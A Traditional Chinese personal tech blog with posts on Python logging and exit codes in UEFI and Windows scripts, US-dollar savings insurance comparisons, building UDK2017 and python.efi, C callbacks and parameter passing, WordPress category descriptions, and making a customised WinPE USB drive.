2018/03/14

python 如何印出 logging debug message 或輸出至log檔案

基本上都要 import logging模組, 這是python built-in的module, 然後有各種設定如下:

第一種: 最簡潔的語法

使用 logging.basicConfig() 將多種參數設定一次完成! logging.basicConfig 必須在輸出訊息之前呼叫,而且只能呼叫一次。

將xxxxx輸出到 stdout標準輸出:

import loggingimport syslogging.basicConfig(stream=sys.stdout,level=logging.DEBUG,format='%(asctime)s %(name)s - %(levelname)-s: %(message)s')logging.debug('xxxxxxx')  #可以透過 logging印出

將xxxxx輸出到 log file:

import loggingimport syslogging.basicConfig(filename='myLog.txt',level=logging.DEBUG,format='%(asctime)s %(name)s - %(levelname)-s: %(message)s')logging.debug('xxxxxxx')  #可以透過 logging印出

第二種: 進階一點的設定語法

將xxxxx輸出到 stdout標準輸出:

import loggingimport sysroot = logging.getLogger()     #透過 logging.getLogger() 來得到 root (Logger Object)root.setLevel(logging.DEBUG)   #設定層級的訊息ch = logging.StreamHandler(sys.stdout) # 定義ch為handler且為 stdout標準輸出ch.setLevel(logging.DEBUG)   #設定ch的層級的訊息# 設定ch的輸出格式formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') ch.setFormatter(formatter)# 將ch hander 加入到 root loggerroot.addHandler(ch)  logging.debug('debug message! xxxxxxx')  #可以透過 logging印出root.debug('root message! xxxxxxx')      #可以透過 root印出 (Logger Object)

2018/03/13

UEFI/Windows 的nsh/batch script 如何得到 python 離開的exit code ?

最近研究透過python可以部份取代Windows/UEFI的batch腳本語言, 因為原本的windows的腳本語言不易閱讀, 也不易維持更新, 許多高階程式語言的特性也很缺乏, 例如模組化 modularity, 例外處理, …等! 所以automation如果使用原本預設的windows/uefi的nsh腳本語言, 會有土法煉鋼的感覺, 不夠方便使用

環境1: UEFI介面底下

做產線UEFI自動化測試會透過 nsh file去呼叫執行檔, 這些執行檔會在程式結束給予一個離開的代碼(Exit Code), 而原先的 nsh file裡面再根據這個的 lasterror變數做去判定這執行檔是pass or fail, 所以要導入python到自動化測試流程的話, 要先確定是否可以一樣用 lasterror判定結果

先寫 nsh file

test.nsh 程式碼

Python.efi abc.py #呼叫python codeif not %lasterror% == 3 then    echo Error code is 3.else    echo OK! Others.endif

再寫 python code

abc.py 程式碼
法1: 直接透過 exit(n) 離開

print ('Leave with lasterror 3')exit(3)  

法2: 透過python內建的 sys module的 sys.exit(n)

import sysprint ('Leave with lasterror 3')sys.exit(3)  

然後執行test.nsh , 確認回傳的lasterror是否為3

環境2: Windows介面底下

做產線自動化測試會透過 batch file去呼叫 exe/bat 等執行檔, 這些執行檔會在程式結束給予一個離開的代碼(Exit Code), 而原先的batch file裡面再根據這個的 errorlevel變數做去判定這執行檔是pass or fail, 所以要導入python到自動化測試流程的話, 要先確定是否可以一樣用 errorlevel 判定結果

先寫 batch file

test.bat 程式碼

python abc.py #呼叫python codeecho %errorlevel%

再寫 python code

abc.py 程式碼
法1: 直接透過 exit(n) 離開

print ('Leave with  errorlevel 2')exit(2)  

法2: 透過python內建的 sys module的 sys.exit(n)

import sysprint ('Leave with  errorlevel 2')sys.exit(2)  

然後執行test.bat , 確認回傳的errorlevel是否為2

2018/03/09

[推薦外幣儲蓄險] 透過元大銀行領取Adsense美元, 進一步建立外幣資產!

首先我已經大概比過目前的美元儲蓄險, 在這篇[美元外幣儲蓄險比較] 文章, 但是我忽略了一個重點, 就是透過元大銀行領取的美金是存在元大的外幣帳戶, 但是元大外幣帳戶能支援的個家人壽美元儲蓄險保單有限! 原本我最中意的全球人壽並不支援原大銀行扣款, 真是太傷心! 所以就要再找找看哪些有支援, 又符合我的需求~

目前2018年有支援元大外幣帳戶扣款的人壽公司為:

中國人壽 / 台灣人壽 / 富邦人壽 / 元大人壽 ; 先講結論, 我想要存到富邦人壽6年後(最多放到8年)就可以解約, 然後將此筆美元存到指定銀行外幣帳戶, 經過詢問台壽與富邦人壽都可以到期後指定至台灣的其他銀行!

這樣之後就可以再選擇利率更好的躉繳外幣儲蓄險保單, 而且還不用太多轉帳的手續費用, 讓人壽幫你出轉帳手續費, 另外若是選擇以富邦人壽的第六年解約的IRR為1.41%也接近美元定存一年的利率囉!

(推薦1) 中國人壽 美利發美元利變終身壽險 6年期

每年存2,086美元, 宣告利率3.7%
第 6年IRR為1.12% 多賺 501元
第10年IRR為2.62% 多賺 2,695元
第20年IRR為3.25% 多賺 9,422元
第30年IRR為3.42% 多賺19,114元
因為宣告利率介於中間, 所以短年期輸給富邦, 長年期輸給台壽, 屬於進可攻退可守的保單, 短期或長期都不錯!

(推薦2) 台灣人壽 增美滿美元利變終身壽險 6年期

折扣1%後, 每年存2,353美元, 宣告利率3.8%
第 6年IRR為0.86% 多賺 426元
第10年IRR為2.55% 多賺 2,914元
第20年IRR為3.27% 多賺10,610元
第30年IRR為3.47% 多賺21,828元
因為宣告利率比較高, 所以放越常賺越多, 但短年期輸給富邦, 若要放長期還不錯!

(推薦3) 富邦人壽 吉美利美元利變終身壽險 6年期

折扣1%後, 每年存1,841美元, 宣告利率3.62%
第 6年IRR為1.41% 多賺 559元
第10年IRR為2.72% 多賺 2,475元
第20年IRR為3.25% 多賺 8,316元
第30年IRR為3.39% 多賺16,602元
因為宣告利率比較低, 但短年期6~8年間拿得還不錯耶, 若只想短期的話還不錯!

(4) 元大人壽

因為沒什麼競爭力, 就不提了!

2018/03/08

[美元外幣儲蓄險比較] 富邦/中壽/台壽/全球/宏泰 (2018/3/8更新) 建立美金資 產配置, 強勢貨幣可退休或子女教育使用

因為我開始當爸爸最近孩子已經3歲, 我覺得時間過得變快了, 在同事閒聊之下覺得好像要準備一下未來的子女基金或是退休基金, 目前想透過儲蓄險的方式, 慢慢存把短期不會用的的資金放入儲蓄險裡面, 而我也大概知道儲蓄險的大缺點就是短期(3年/6年)之內解約會虧錢, 所以我說這是個短空長多的投資法, 保守且穩定的一筆退休金或兒女教育基金!

購買儲蓄險,幾個要注意的事項:

  1. 提前解約,必虧錢!
  2. 繳費年期越短越好!
  3. 年繳保費才划算
  4. 真正的投資報酬率就要看 – IRR內部報酬率(IRR計算)
  5. 比較終身險儲蓄險領回方式: 一次領回的IRR 會大於 每年配生存金的IRR
  6. 若原本就有資金, 可以把年限縮短, 把年繳金額放大, 光看保本率就知道:年期短/金額高/IRR高

富邦的兩個保單比較: 吉美利v.s美珍鑽 (一次領回v.s每年配生存金)

先說我目前考慮的是繳6年以內的保單, 且注重第20年解約的話累積可以拿回多少現金的IRR喔!
2018/03已升高宣告利率: 3.62%

  1. 《富邦人壽吉美利外幣利率變動型增額終身壽險(FID)》

    • 繳六年期, 每年1,841美金, 總繳11,046美元 ,第20年解約可拿回19,290美元
      IRR為3.23% 淨報酬8,244美元
  2. 《富邦人壽美珍鑽外幣利率變動型增額還本終身保險(FIK)》

    • 繳三年期, 每年5,155美金, 總繳15,465美元 ,第20年解約可拿回21,512美元+累積每年生存金5,194美元
      IRR為2.92% 淨報酬11,241美元

2017年美金外幣儲蓄險保單- 各年期與各家人壽 商品比較與推薦

利率變動型增額終身壽險顧名思義,具有「利變」和「增額終身」2大特色,除以預定利率規劃的增額終身壽險架構外,還可有以宣告利率為計算基礎的增值回饋分享金,同時避開長壽風險和升息壓力。

理專幫忙列出以下資料:
期間有躉繳/2年期/3年期/4年期/6年期, 以及較具有競爭力的產品, 分別計算出六前後的保本率以及各宣告利率! 通常比較小的壽險公司會讓利搶市占, 但我自己會比較偏愛大型的壽險金控公司, 供參考

列出試算表作比較: 美金利率變動型增額終身壽

根據之前保險公司的經驗, 台灣的保險業不會倒, 頂多被合併,例如:之前的朝陽人壽變成南山人壽; 大都會變中國信託人壽,然後把台灣人壽買下來,更名為台灣人壽; 國華人壽變成全球人壽; 幸福人壽/國寶人壽變成國泰人壽; 台灣的金融體制是OK的! 以上建議,但還是要看大家自己的選擇, 通常要高的報酬率一定是不大的公司, 若是大品牌的公司, 報酬率就是相對低~

* 《中國人壽美利發美元利率變動型終身壽險》

繳六年期, 每年1,878美金, 總繳11,268美元 ,第20年解約可拿回19,704美元
IRR為3.24% 淨報酬8,436美元


* 《宏泰人壽美登峰美元利率變動型終身壽險》

繳六年期, 每年2,000美金, 總繳12,000美元 ,第20年解約可拿回21,037美元
IRR為3.25% 淨報酬9,037美元


* 《全球人壽鑫美利利率變動型美元終身壽險(FAS)》

繳六年期, 每年2,021美金, 總繳12,126美元 ,第20年解約可拿回21,754美元
IRR為3.39% 淨報酬9,628美元


* 《全球人壽鑫美利利率變動型美元終身壽險(FAS)》

金額多2倍, 總保費差不多,但報酬率更高
三年期, 每年4,160美金, 總繳12,480美元 ,第20年解約可拿回23,992美元
IRR為3.5% 淨報酬11,512美元


* 《台灣人壽壽增美滿美元利率變動型增額終身壽險》

繳六年期, 每年2,329美金, 總繳13,974美元 ,第20年解約可拿回24,584美元
IRR為3.27% 淨報酬10,610美元

最後附上2014~2016金融業獲利排行:


前十大金融業榜單,南山人壽(6,590.51億)超越富邦人壽(6,124.99億),併入中信金控的台壽保(2,981.57億)首度擠入排行第五。台灣銀行首度被擠出,中信銀成為前十名中唯一銀行。

2018/02/23

建立UEFI編譯環境- 安裝EDK2, UDK2017, Visual studio等步驟, 且編譯出 python.efi

從這裡UDK2017 How to Build原文延伸如下, 這裡拿的UDK2017是什麼呢? 而什麼又是UDK呢?

UEFI全名為Unified Extensible Firmware Interface,目前由UEFI協會管理與制定規格。UEFI推出一套稱為EDK(EFI Development Kit,而穩定發佈版稱之為UDK)開放原始碼的開發套件,裡面除了已經定義好的標準外(如C的header file),還有許多被已被開發出的標準程式模組。任何人都能夠下載它並執行其模擬環境,在Windows底下提供了NT32的模擬器,可供使用者作些簡單的開發與測試。(引用自 LeonPhoenix )

介紹 UDK

(原文)
英文為UEFI Development Kit 表示是在做UEFI開發所需要的軟體套件, 然後UDK是在EDK2當中比較穩定的release, 因為UDK的releases 會透過Intel架構平台測試! UDK2017是基於經過驗證的EDK II快照的UDK版本。 之前的穩定分支是UDK2015。

UDK和EDK2的區別

EDKII是志願者參與開發的開源項目。 此項目的提示不斷更新,以進行修復和增強。而UDK版本代表了對英特爾架構平台進行測試的EDK II源特定修訂版的完全驗證實施。 UDK版本是可用EDK II軟件包的子集,因為並非所有軟件包都可在英特爾平台上進行驗證。 每個UDK版本都在發行說明中列出了相應的EDK II版本。 每個版本都以ZIP文件形式提供,並映射到EDK II github項目的一個分支(例如:https://github.com/tianocore/edk2/tree/UDK2017,適用於UDK2017)。

怎麼編譯UDK2017呢? How to Build UDK2017

第一步: UEFI Compiler environment setup step by step

#############################################################################
# #
# UEFI Compiler environment setup step by step (tool chain UDK2017 + Microsoft VS2015 Free) #
# #
#############################################################################

1. Install Microsoft Visual Studio 2015* in the build machine and make sure that AMD64 complier was selected when installing. (Download Visual Studio 2015 Community Edition (FREE) and Installed. https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409 )

2. Create the full Source Code directory for the UDK2017 release
Create a working space directory in the build machine, for example, C:\MyWorkspace
Download the official UDK2017 release .zip file from the UDK2017 Release Page
Download – UDK2017 edk-vUDK2017 Workspace Source code (zip file)
Extract files in [edk2-vUDK2017] to the working space directory C:\MyWorkspace.

2.1 Download UDK2017 Tool kit (Choose one) and unzip to your WORKSPACE
SVN export http://edk2.svn.sourceforge.net/svnroot/edk2/branches/UDK2017

3. Download edk2-BaseTools-win32 and unzip to your
WORKSPACE\UDK2017\BaseTools\Bin\win32
SVN export https://svn.code.sf.net/p/edk2-toolbinaries/code/trunk/Win32

4. Download NASM 2.0.7 or later from http://www.nasm.us/ and install it to C:\Nasm. Make sure C:\Nasm is added to system environment variable ‘PATH’

5. Download and install Python2.7.x https://www.python.org/ for building the BaseTools Default install directory is: C:/Python27

5.1 Download VC compiler tools (這部分我覺得只要第一步有勾選如圖. 應可省略)
https://drive.google.com/file/d/0B-pcJAXauP7WRGFTYkZGYl9aRUk/view?usp=sharing
and override to your
C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin

6.Compile the BaseTools
See: https://github.com/tianocore/tianocore.github.io/wiki/Windows-systems#compile-tools

Open a Microsoft Visual Studio* command prompt, type cd C:\MyWorkspace to enter the workspace directory
Compile the BaseTools C source tools

	set PYTHON_HOME=C:\Python27        set EDK_TOOLS_PATH=%CD%\BaseTools        BaseTools\toolssetup.bat Rebuild

7. Build Steps *** NT32 ***

Open a Microsoft Visual Studio* command prompt, type cd C:\MyWorkspace to enter the workspace directory
Use edksetup.bat command to initialize the working environment. edksetup –nt32
Type following command to build Nt32 platform build -t VS2015x86
Upon the build completing successfully there should be the UEFI Application “HelloWorld.efi” in the C:\MyWorkspace\Build\MdeModule\DEBUG_VS2015x86\IA32 directory

或另一方式.
Setup your EDK2 compiler

   A) Run Developer Command Propmt for VS2015   B) 自己切換位置到 your WORKSPACE  (ex D:\UDK2017)   C) Run Edk2setup   D) 手動改Change compiler environment D:\UDK2017\Conf\target.txt      ACTIVE_PLATFORM       = MdePkg/MdePkg.dsc      TARGET                = RELEASE      TARGET_ARCH           = X64      TOOL_CHAIN_TAG        = VS2015x86

Run build in VS command line at your WORKSPACE path.

第二步: build python

由於tianocore已經在 AppPkg 下放置了 Python 2.7.2 的 code
所以就直接看 D:\MyWorkspace\AppPkg\Applications\Python\PythonReadMe.txt

1. 編輯 AppPkg/AppPkg.dsc to enable (uncomment) the PythonCore.inf line
within the [Components] section.

2. 指令:
build -a X64 -p AppPkg\AppPkg.dsc -t VS2015x86

參考資料:
Github: UDK2017 How to Build
UEFI Application – Python 2.7.2 – 醉裡挑燈看Code

Python v.s UEFI EDK2 (EDKII) 小華的部落格

2018/01/12

用C寫一個簡單的callback function sample


成為一個軟體工程師, C語言裡面的Callback function算是滿值得一學的東西
主要的概念就是: 傳回某個函數的指標,呼叫者即可透過該函數指標直接執行函數…
以下是一個簡單的範例, 可以在一個檔案 e.g: xxx.c 內完成

1. 宣告callback function的prototype(原型)

typedef struct{	uint8_t time ;	void (*bsp_callback)(void); }Display_Info_struct; 

2.宣告該struct的變數 DisplayInfo

static Display_Info_struct DisplayInfo; 

3.定義會被呼叫的函式

void showHelloword(){	printf("Hello world.\n");} 

4.定義會使用CallBack Fuction的函式

void BSP_SHOW(uint8_t time,void (*callback)(void)){	DisplayInfo.time = time;	DisplayInfo.bsp_callback = callback;        while(DisplayInfo.time > 0){            --DisplayInfo.time;            if(DisplayInfo.time == 0){		//呼叫callback function		if(DisplayInfo.bsp_callback) 			DisplayInfo.bsp_callback(); 		//清除callback fuction		DisplayInfo.bsp_callback = 0;            }            delay_ms(1000); // 1 second         }} 

5.由main執行的呼叫點起始

void main(){	//顯示10秒的hello word字串	BSP_SHOW( 10, showHelloword); }

大概就這樣的架構
如果編譯有誤或是其他問題, 再debug一下吧~

2018/01/06

C/C++: 請說明 call by value, address, reference 三者差異? (比較速度/用 法/詳細補充)

1. 速度效能

Reference (address) > Value
call by value 是速度最慢的,call by ref與 call by addr 速度相同! call by value慢是因為它必須先 copy一份再傳給被呼叫者

64: Call_by_ref(k1);//call by reference
004012F8 lea eax,[ebp-4] ;抓出k1的指標
004012FB push eax ;從stack傳出指標參數
004012FC call @ILT+10(Call_by_ref) (0040100f) ;呼叫Call_by_ref
00401301 add esp,4 ;平衡stack
65: Call_by_ptr(&k1);//call by address
00401304 lea ecx,[ebp-4] ;抓出k1的指標
00401307 push ecx ;從stack傳出指標參數
00401308 call @ILT+15(Call_by_ptr) (00401014);呼叫Call_by_ptr
0040130D add esp,4 ;平衡stack
注意到 不論是傳址或傳參照,翻出來的程式碼都是一樣的。
換句話說實際上它們都是以傳址來實現(沒有所謂傳照就可以不複製地址)
http://ehome.hifly.to/showthread.php?s=&threadid=148

2.三者的用法

//call by value

 int main(){    int a = 10;    plus(a); } int plus(int a){    //兩個a位於不同記憶體空間    return a++; }

//call by address

 int main(){   int a = 10;   plus(&a); // a = 11}void plus(int* a){    //傳入a的記憶體位置,function中的a pointer指向main中的a變數
(*a)++; }

//call by reference

int main(){    int a = 10;    plus(a); // a = 11; } void plus(int &a){    //作用與call by address相同,寫法更簡潔 但僅限C++ only    a++; }

詳細補充:

Call by Value

// 宣告方式void test(int param) {    // 參數在傳入時會copy一份到param    // 所以如果傳入的是一個大量的資料,則會使程式效能變差    // 但是在function內對param異動都不會影響num    .....;}// 呼叫方式1int num;test(num);// 呼叫方式2int *num;test(*num);

.

Call by Pointer

// 宣告方式void test(int *param) {    // param接收的是記憶體位址,所以呼叫時要特別注意    // 在function內對param做任何的異動都會影響到num    .....;    // 但是可以把param的記憶體位址再改掉    int temp;    param = &temp;}// 呼叫方式1int num;test(&num);// 呼叫方式2int *num;test(num);

.

Call by Reference

// 宣告方式void test(int &param) {    // 可以把param當成是一般的變數使用    // 但他又很像是Call by Pointer記憶體位址會被設成    // 跟傳入變數一樣(任何的異動都會影響到num)    // 不過卻又不像Call by Pointer,因為不能修改    // 記憶體位址,而且呼叫方式是跟Call by Value一樣    .....;}// 呼叫方式1int num;test(num);// 呼叫方式2int *num;test(*num);

2018/01/02

如何在WordPress主題中顯示類別和標籤描述

為什麼分類和標籤說明? 你可能會問。 向類別和標籤頁面添加說明有兩個好處。 首先,你的博客的讀者可以有一個粗略的想法,在一個特定的類別涵蓋的職位類型。 其次,您可以在相應的頁面上顯示類別和標籤描述作為元描述,這可能有助於更好的搜索引擎優化。

在類別頁面中顯示類別描述WordPress主題

WordPress允許您為類別添加一個簡短的描述,並添加到博客的帖子標籤。 這是一個簡短的教程,顯示WordPress主題中的類別和標籤描述。

1. 先寫一下描述吧!

首先,從WordPress儀表板>類別添加說明到您的類別。

2. 一般的版型檔案可以找到archive.php文件, 可對其進行編輯

打開您的FTP客戶端,瀏覽到您的WordPress主題目錄並下載archive.php文件進行編輯。 更好的是,創建一個archive.php文件的備份來保證安全。

3.你應該會看到如下代碼塊:

4.粘貼下面的代碼。

下面的代碼拉出在步驟1中輸入的類別(標籤)描述,並將其顯示給用戶。你不需要填寫每一個類別(標籤)來使用下面的代碼。 如果一個類別(標籤)沒有任何描述,下面的代碼什麼也沒有顯示。

類別category:標籤Tag:

5.對於meta描述部分

將以下代碼添加到WordPress主題中的標記之前。

” />

2018/01/01

製作WinPE開機碟USB Drive, 包含簡易版與進階版修改WinPE內容

入門製作: WINPE開機的USB隨身碟

建立 Windows PE (WinPE) 可開機 USB 快閃磁碟機或外接式 USB 硬碟。MSDN原廠的說明: https://msdn.microsoft.com/zh-tw/library/hh825109.aspx

1. 先安裝 Windows ADK

透過從 Windows 評定及部署套件 (Windows ADK) 安裝下列功能:
– 部署工具:包含 [部署與映像工具環境]。
– Windows 預先安裝環境 :包含用來安裝 Windows PE 的檔案。

2. 開始安裝 Windows PE

進去Start[開始] –> All apps[所有程式] –> Windows Driver Kits ->
以 [系統管理員] 身分開啟 [部署與映像工具環境]。(Deployment and Imaging Tools Environment as an administrator)

step1:建立 Windows PE 檔案的工作複本。可指定 x86、amd64 或 arm:

  • //64位元版本:可將64位元UEFI、64位元BIOS電腦開機
    • copype amd64 C:\WinPE_amd64
  • //32位元版本:可將 32 位元 UEFI、32位元和64位元BIOS電腦開機
    • copype x86 C:\WinPE_x86

step2:將 Windows PE 安裝到 USB 快閃磁碟機,指定磁碟機代號:(根據USB碟的字母代號調整)
MakeWinPEMedia /UFD C:\WinPE_amd64 E:

3. 將此WINPE隨身碟插入另一電腦, 開機到 Windows PE

將 USB 裝置連接到您要使用的電腦。
啟動電腦,然後按下開啟韌體開機功能表的按鍵。選取 USB 磁碟機。Windows PE 會自動啟動。
出現命令視窗後,會執行 wpeinit 命令,此命令會設定系統。這可能需要數分鐘。

4. 常見的疑難排解

如果沒有出現 Windows PE,請嘗試下列解決方法,並在每次嘗試之後重新啟動電腦:

  • 如果不能辨識 copype 命令,請確定您是從 [部署與映像工具環境] (它是 Windows ADK 的一部分) 執行命令。
  • 若要啟動支援 UEFI 模式的電腦,在韌體開機功能表中,試著手動選取開機檔案:\EFI\BOOT\BOOTX64.EFI。
  • 嘗試不同的 USB 連結埠。避免使用集線器或纜線。
  • 如果韌體不包含對 USB 3.0 的原生支援,請避免使用 USB 3.0 連接埠。
  • 清理 USB 快閃磁碟機,然後重新安裝 Windows PE。這有助於移除額外的開機磁碟分割或其他開機軟體。
    透過以下指令清理 USB 快閃磁碟機,然後重新安裝 Windows PE。

    diskpart  list disk  select disk   clean  create partition primary  format quick fs=fat32 label="Windows PE"  assign letter="F"  exitMakeWinPEMedia /UFD C:\winpe_amd64 F:
  • 嘗試改從 DVD 啟動 Windows PE。建立可以燒錄至 DVD 的 ISO 檔案:

    透過以下指令產生WINPE 的 ISO 檔案
    MakeWinPEMedia /ISO C:\winpe_amd64 c:\winpe_amd64\winpe.iso

    在檔案總管中,瀏覽至 C:\winpe_amd64,在 winpe.iso 上按一下滑鼠右鍵,然後選取 [燒錄至光碟]。
    遵循提示建立 DVD。

進階製作:手動調整的WinPE內容

以上如果都完成了, 就可以接著試試進階內容, 參考自MSDN說明:(WinPE 掛接和自訂)

1. 掛接 Windows PE 開機映像

Dism /Mount-Image /ImageFile:”C:\WinPE_amd64\media\sources\boot.wim” /index:1 /MountDir:”C:\WinPE_amd64\mount”

執行後就會把boot.wim的內容掛載(mount)到C:\WinPE_amd64\mount
如下:

2. 新增修改自訂內容

  1. 新增裝置驅動程式 (.inf 檔案) 。
    • 您可以自訂裝置驅動程式,像是支援網路介面卡或存放裝置的驅動程式。如需詳細資訊,請參閱 WinPE:新增驅動程式。
    • 1) 將裝置驅動程式新增至 Windows PE 映像。
      Dism /Add-Driver /Image:”C:\WinPE_amd64\mount” /Driver:”C:\SampleDriver\driver.inf”
      2) 確認驅動程式套件是映像的一部分:
      Dism /Get-Drivers /Image:”C:\WinPE_amd64\mount”
      檢查產生的驅動程式清單,確認清單包含您新增的驅動程式套件。

  2. 新增選用元件 (套件或 .cab 檔案) 。
    • 您可以新增功能到 Windows PE,例如,語言、Hotfix、以及對 PowerShell 和 HTML 應用程式語言 (HTA) 等功能的支援。在 Windows PE 中,功能套件又稱為選用元件。如需詳細資訊,請參閱 WinPE:新增套件 (選用元件參考)。
    • #語言#:安裝每個選用元件時,您必須先安裝非語言相關選用元件,然後再安裝特定語言選用元件。必要語言資源的版本必須與非語言相關資源的版本相同。語言資源位於資料夾中,該資料夾與安裝在選用元件目錄中的語言名稱相同。

      #重要#:有些選用元件具有必須按順序安裝的先決條件。

      1) 將選用元件新增到 Windows PE。
      如果要新增選用元件,您需要同時新增選用元件及其相關的語言套件。(路徑需根據自己電腦作調整)
      Dism /Add-Package /Image:”C:\WinPE_amd64\mount” /PackagePath:”C:\Program Files\Windows Kits\8.1\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-HTA.cab”

      Dism /Add-Package /Image:”C:\WinPE_amd64\mount” /PackagePath:”C:\Program Files\Windows Kits\8.1\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-HTA_en-us.cab”

      2) 確認選用元件是映像的一部分:
      Dism /Get-Packages /Image:”C:\WinPE_amd64\mount”
      檢查產生的套件清單,確認清單包含選用元件及其關聯的語言套件。

  3. 新增語言 。
  4. 新增啟動指令碼 。
    • 範例包含設定網路連線,或者新增自訂應用程式,例如診斷軟體。
    • 修改 Startnet.cmd 指令碼以包含您的自訂命令。此檔案位於 C:\WinPE_amd64\mount\Windows\System32\Startnet.cmd。
      您也可以從此檔案呼叫其他批次檔或命令列指令碼。
      針對隨插即用或網路功能支援,請確定您在自訂 Startnet.cmd 指令碼中包含對 wpeinit 的呼叫
    • ### 補充引用文章: iInfo 資訊交流 – Winpe啟動過程 ###

      Windows PE 的啟動過程如下。
      1) 載入特定媒體上的開機磁區。將控制傳遞給 Bootmgr。
      – Bootmgr 從啟動配置資料 (BCD) 中提取基本的啟動資訊,並將控制權傳遞給 Boot.wim 中包含的 Winload.exe 文件。
      – 然後 Winload.exe 載入相應的硬體抽象層 (HAL),並載入系統登錄配置單元和必需的啟動驅動程式。
      – 完成載入後,將會準備執行內核 Ntoskrnl.exe 的環境。
      – 備註: 如果從唯讀媒體(例如 CD)啟動 Windows PE,則 Windows PE 將在記憶體中存儲註冊表配置單元,這樣應用程式就可以寫入註冊表。應用程式對註冊表所做的任何更改在不同的 Windows PE 會話間不會保持不變。

      2) 執行 Ntoskrnl.exe,完成環境設置。將控制權傳遞給會話管理器 (SMSS)。

      3) SMSS 載入註冊表的剩餘部分,配置運行 Win32 子系統 (Win32k.sys) 的環境及其各種進程。SMSS 載入用於創建使用者會話的 Winlogon 進程,然後啟動服務和剩餘的非必要設備驅動程式及安全子系統 (LSASS)。


      4) Winlogon.exe 根據註冊表值 HKLM\SYSTEM\Setup\CmdLine 來運行設置。
      – 如果存在 %SYSTEMDRIVE%\sources\setup.exe,則 Winpeshl.exe 將啟動它,否則 Winpeshl.exe 將查找在 %SYSTEMROOT%\system32\winpeshl.ini 中指定的應用程式。
      – 如果未指定任何應用程式,則 Winpeshl.exe 將執行 cmd /k %SYSTEMROOT%\system32\startnet.cmd。預設情況下,Windows PE 包含一個將啟動 Wpeinit.exe 的 Startnet.cmd 文件。Wpeinit.exe 載入網路資源,並與網路元件(如 DHCP)進行協調。

      5) Wpeinit.exe 完成後,將顯示命令提示視窗。此時,Windows PE 的啟動過程已完成。
      Winpeshl.ini 可控制是將自訂外殼程式載入到 Windows(R) PE,還是載入到默認的“命令提示符”視窗。若要載入自訂外殼程式,請創建一個名為 Winpeshl.ini 的文件,然後將它放在自訂 Windows PE 映射的 %SYSTEMROOT%\System32 中。

      #MSDN說明:Winpeshl.ini 參考#
      使用 Windows 預先安裝環境 (Windows PE) 中的 Winpeshl.ini 檔案,以殼層應用程式或其他應用程式取代預設命令提示字元。

      #該 Winpeshl.ini 檔必須包含以下部分:#

      [LaunchApp]AppPath = %SYSTEMDRIVE%\myshell.exe[LaunchApps]%SYSTEMDRIVE%\mydir\application1.exe, {option}

      – 將 AppPath 項設置為外殼應用程式的路徑。可以使用完全限定路徑,也可以使用環境變數(例如%SYSTEMROOT%\System32\Myshell.exe)。AppPath 項不支援命令列選項。
      – 使用 [LaunchApps] 部分運行帶命令列選項的應用程式。應用程式按照列出的順序運行。應用程式的名稱與其選項之間以逗號分隔。

      #重要事項#
      – 當退出“命令提示符”視窗或自訂外殼應用程式時,Windows PE 將重新開機。
      – 不要編輯 Setupreg.hiv 的 HKEY_LOCAL_MACHINE\SYSTEM\Setup 註冊表項中的 CmdLine 值來啟動外殼應用程式。CmdLine 的值可調用 Winpeshl.exe,Winpeshl.exe 會執行很多函數,包括調用 Windows PE 中的預設“命令提示符”視窗或您的自訂外殼應用程式。

  5. 新增應用程式 。
    • 請注意,Windows PE 只支援舊版應用程式。

      1) 在掛接的 Windows PE 映像內建立應用程式目錄。
      md “C:\WinPE_amd64\mount\windows\”
      2) 將必要的應用程式檔案複製到本機 Windows PE 目錄。
      Xcopy C:\ “C:\WinPE_amd64\mount\windows\”
      3) 啟動 Windows PE 並從 X: 目錄執行應用程式,之後測試應用程式。
      X:\Windows\System32> X:\Windows\

      如果應用程式需要暫時存放區,或 Windows PE 在執行應用程式時變得沒有回應,您可能需要增加配置給 Windows PE 的暫時存放區 (臨時空間) 的數量。

  6. 新增暫時存放區 (臨時空間) 。
    • 如果您的應用程式需要暫存檔存放區,可以在 RAM 中保留額外的記憶體空間。
    • 1) Windows PE 會在 X: 磁碟機上保留記憶體,用來解壓縮 Windows PE 檔案,加上額外的暫存檔存放區 (稱為臨時空間),可供您的應用程式使用。

      根據預設,超過 1 GB RAM 的電腦的臨時空間為 512 MB,其他則為 32 MB。有效值為 32、64、128、256 或 512:
      Dism /Set-ScratchSpace:128 /Image:”C:\WinPE_amd64\mount”

  7. 取代背景影像
    • 如果您有多個版本的 Windows PE,可以設定背景影像,以便立即辨別正在執行的 Windows PE 版本。

      變更 Windows PE 背景影像檔 (\windows\system32\winpe.jpg) 的安全性權限。這可讓您修改或刪除檔案。
      1) 在 Windows 檔案總管中,瀏覽到 C:\WinPE_amd64\mount\windows\system32。
      2) 在 C:\WinPE_amd64\mount\windows\system32\winpe.jpg 檔案按一下滑鼠右鍵,依序選取 [內容] > [安全性] 索引標籤 > [進階]。

      3) 在 [擁有者] 旁邊選取 [變更]。將擁有者變更為 [系統管理員]。
      套用變更,然後結束 [內容] 視窗以儲存變更。

      4) 在 C:\WinPE_amd64\mount\windows\system32\winpe.jpg 檔案按一下滑鼠右鍵,依序選取 [內容] > [安全性] 索引標籤 > [進階]。

      5) 修改 [系統管理員] 的權限,允許完整存取權。套用變更,然後結束 [內容] 視窗以儲存變更。

      使用您自己的影像檔取代 winpe.jpg 檔案。

  8. 新增回應檔案設定
    • 有些 Windows PE 設定可以使用回應檔案加以管理,如防火牆、網路及顯示設定。
      – 建立回應檔案,將它命名為 unattend.xml,然後新增到 Windows PE 媒體的根目錄,以便處理這些設定。
      – 第一次執行 Windows PE (WinPE) 時,使用 Wpeinit 和 Startnet.cmd 執行啟動指令碼。Wpeinit 會將記錄檔訊息輸出至 c:\Windows\system32\wpeinit.log。

      Wpeinit 命令列選項範例:
      Wpeinit –unattend:”C:\Unattend-PE.xml”

      如需詳細資訊,請參閱 Wpeinit 和 Startnet.cmd:使用 WinPE 啟動指令碼。

3. 卸載 Windows PE 映像和建立媒體

3.1 卸載 Windows PE 映像。
Dism /Unmount-Image /MountDir:”C:\WinPE_amd64\mount” /commit

3.2 建立可開機媒體,例如 USB 快閃磁碟機。
MakeWinPEMedia /UFD C:\WinPE_amd64 F:

3.3 啟動媒體。
Windows PE 會自動啟動。Windows PE 視窗出現之後,會自動執行 wpeinit 命令。這可能需要數分鐘。驗證您的自訂。

列在後面:
